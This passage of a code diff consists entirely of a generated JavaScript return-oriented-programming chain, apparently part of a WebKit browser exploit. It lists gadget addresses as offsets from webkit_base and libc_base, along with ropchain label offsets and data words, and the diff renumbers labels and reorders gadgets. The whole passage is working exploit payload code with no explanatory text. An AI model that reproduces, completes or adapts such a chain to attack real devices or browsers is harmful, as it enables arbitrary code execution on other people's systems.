webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1389: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1390: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1391: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9066,7 +9066,7 @@ ropchain+118696, //L1392 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+118712, //L1393 +ropchain+118712, //L1394 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9074,7 +9074,7 @@ libc_base+206806 //pop rdi //L1392: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1393: +//L1394: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9114,12 +9114,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+118984, //L1400 +ropchain+118984, //L1401 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1400: +//L1401: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9128,18 +9128,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+119064, //L1404 +ropchain+119064, //L1403 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1404: +//L1403: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1402: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1403: +//L1402: db([30, 0]); // 0x1e +set_gadget(libc_base+792472,); //pop rcx +//L1404: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9174,12 +9174,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+119328, //L1409 +ropchain+119328, //L1410 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1409: +//L1410: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9212,16 +9212,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+119544, //L1415 +ropchain+119560, //L1417 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1415: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1416: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L1417: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9229,7 +9229,7 @@ ropchain+119648, //L1418 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+119664, //L1419 +ropchain+119664, //L1420 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9237,7 +9237,7 @@ libc_base+206806 //pop rdi //L1418: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1419: +//L1420: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9277,12 +9277,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+119936, //L1426 +ropchain+119936, //L1427 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1426: +//L1427: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9291,18 +9291,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+120016, //L1430 +ropchain+120016, //L1429 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1430: +//L1429: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1428: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1429: +//L1428: db([7, 0]); // 0x7 +set_gadget(libc_base+792472,); //pop rcx +//L1430: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9337,12 +9337,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+120280, //L1435 +ropchain+120280, //L1436 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1435: +//L1436: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9355,16 +9355,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+120384, //L1437 +ropchain+120400, //L1439 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1437: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1438: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1439: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9372,7 +9372,7 @@ ropchain+120488, //L1440 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+120504, //L1441 +ropchain+120504, //L1442 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9380,7 +9380,7 @@ libc_base+206806 //pop rdi //L1440: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1441: +//L1442: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9420,12 +9420,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+120776, //L1448 +ropchain+120776, //L1449 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1448: +//L1449: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9434,18 +9434,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+120856, //L1452 +ropchain+120856, //L1451 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1452: +//L1451: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1450: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1451: +//L1450: db([31, 0]); // 0x1f +set_gadget(libc_base+792472,); //pop rcx +//L1452: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9480,12 +9480,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+121120, //L1457 +ropchain+121120, //L1458 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1457: +//L1458: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9527,16 +9527,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+121384, //L1464 +ropchain+121400, //L1466 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1464: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1465: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1466: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9544,7 +9544,7 @@ ropchain+121488, //L1467 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+121504, //L1468 +ropchain+121504, //L1469 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9552,7 +9552,7 @@ libc_base+206806 //pop rdi //L1467: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1468: +//L1469: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9592,12 +9592,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+121776, //L1475 +ropchain+121776, //L1476 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1475: +//L1476: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9606,18 +9606,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+121856, //L1479 +ropchain+121856, //L1478 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1479: +//L1478: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1477: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1478: +//L1477: db([32, 0]); // 0x20 +set_gadget(libc_base+792472,); //pop rcx +//L1479: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9652,12 +9652,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+122120, //L1484 +ropchain+122120, //L1485 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1484: +//L1485: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9690,16 +9690,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+122336, //L1490 +ropchain+122352, //L1492 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1490: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1491: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1492: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9707,7 +9707,7 @@ ropchain+122440, //L1493 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+122456, //L1494 +ropchain+122456, //L1495 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9715,7 +9715,7 @@ libc_base+206806 //pop rdi //L1493: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1494: +//L1495: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9755,12 +9755,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+122728, //L1501 +ropchain+122728, //L1502 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1501: +//L1502: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9769,18 +9769,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+122808, //L1505 +ropchain+122808, //L1504 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1505: +//L1504: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1503: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1504: +//L1503: db([37, 0]); // 0x25 +set_gadget(libc_base+792472,); //pop rcx +//L1505: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9815,12 +9815,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+123072, //L1510 +ropchain+123072, //L1511 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1510: +//L1511: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9833,16 +9833,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+123176, //L1512 +ropchain+123192, //L1514 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1512: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1513: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1514: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -9850,7 +9850,7 @@ ropchain+123280, //L1515 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+123296, //L1516 +ropchain+123296, //L1517 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -9858,7 +9858,7 @@ libc_base+206806 //pop rdi //L1515: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1516: +//L1517: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -9898,12 +9898,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+123568, //L1523 +ropchain+123568, //L1524 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1523: +//L1524: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9912,18 +9912,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+123648, //L1527 +ropchain+123648, //L1526 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1527: +//L1526: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1525: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1526: +//L1525: db([33, 0]); // 0x21 +set_gadget(libc_base+792472,); //pop rcx +//L1527: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9958,12 +9958,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+123912, //L1532 +ropchain+123912, //L1533 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1532: +//L1533: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10005,24 +10005,24 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+124176, //L1539 +ropchain+124192, //L1541 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1539: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1540: db([16, 0]); // 0x10 -set_gadgets([ +set_gadget(libc_base+792472,); //pop rcx +//L1541: +db([0, 0]); // 0x0 +set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi ropchain+124280, //L1542 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+124296, //L1543 +ropchain+124296, //L1544 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10030,7 +10030,7 @@ libc_base+206806 //pop rdi //L1542: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1543: +//L1544: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10070,12 +10070,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+124568, //L1550 +ropchain+124568, //L1551 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1550: +//L1551: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10084,18 +10084,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+124648, //L1554 +ropchain+124648, //L1553 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1554: +//L1553: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1552: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1553: +//L1552: db([34, 0]); // 0x22 +set_gadget(libc_base+792472,); //pop rcx +//L1554: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -10130,12 +10130,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+124912, //L1559 +ropchain+124912, //L1560 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1559: +//L1560: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10177,16 +10177,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+125176, //L1566 +ropchain+125192, //L1568 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1566: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1567: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1568: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -10194,7 +10194,7 @@ ropchain+125280, //L1569 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+125296, //L1570 +ropchain+125296, //L1571 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10202,7 +10202,7 @@ libc_base+206806 //pop rdi //L1569: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1570: +//L1571: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10242,12 +10242,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+125568, //L1577 +ropchain+125568, //L1578 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1577: +//L1578: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10256,18 +10256,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+125648, //L1581 +ropchain+125648, //L1580 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1581: +//L1580: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1579: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1580: +//L1579: db([35, 0]); // 0x23 +set_gadget(libc_base+792472,); //pop rcx +//L1581: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -10302,12 +10302,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+125912, //L1586 +ropchain+125912, //L1587 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1586: +//L1587: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10340,16 +10340,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+126128, //L1592 +ropchain+126144, //L1594 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1592: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1593: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1594: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -10357,7 +10357,7 @@ ropchain+126232, //L1595 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126248, //L1596 +ropchain+126248, //L1597 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10365,7 +10365,7 @@ libc_base+206806 //pop rdi //L1595: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1596: +//L1597: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10396,16 +10396,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+126472, //L1601 +ropchain+126488, //L1603 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1601: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1602: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1603: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -10413,7 +10413,7 @@ ropchain+126576, //L1604 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126592, //L1605 +ropchain+126592, //L1606 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10421,7 +10421,7 @@ libc_base+206806 //pop rdi //L1604: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1605: +//L1606: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10461,12 +10461,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+126864, //L1612 +ropchain+126864, //L1613 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1612: +//L1613: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10475,18 +10475,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+126944, //L1616 +ropchain+126944, //L1615 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1616: +//L1615: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1614: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1615: +//L1614: db([36, 0]); // 0x24 +set_gadget(libc_base+792472,); //pop rcx +//L1616: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -10521,12 +10521,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+127208, //L1621 +ropchain+127208, //L1622 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1621: +//L1622: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10568,16 +10568,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+127472, //L1628 +ropchain+127488, //L1630 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1628: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1629: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1630: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -10585,7 +10585,7 @@ ropchain+127576, //L1631 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+127592, //L1632 +ropchain+127592, //L1633 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10593,7 +10593,7 @@ libc_base+206806 //pop rdi //L1631: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1632: +//L1633: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10633,12 +10633,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+127864, //L1639 +ropchain+127864, //L1640 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1639: +//L1640: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10647,18 +10647,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+127944, //L1643 +ropchain+127944, //L1642 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1643: +//L1642: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1641: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1642: +//L1641: db([37, 0]); // 0x25 +set_gadget(libc_base+792472,); //pop rcx +//L1643: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -10693,12 +10693,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+128208, //L1648 +ropchain+128208, //L1649 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1648: +//L1649: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10740,16 +10740,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+128472, //L1655 +ropchain+128488, //L1657 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1655: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1656: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop 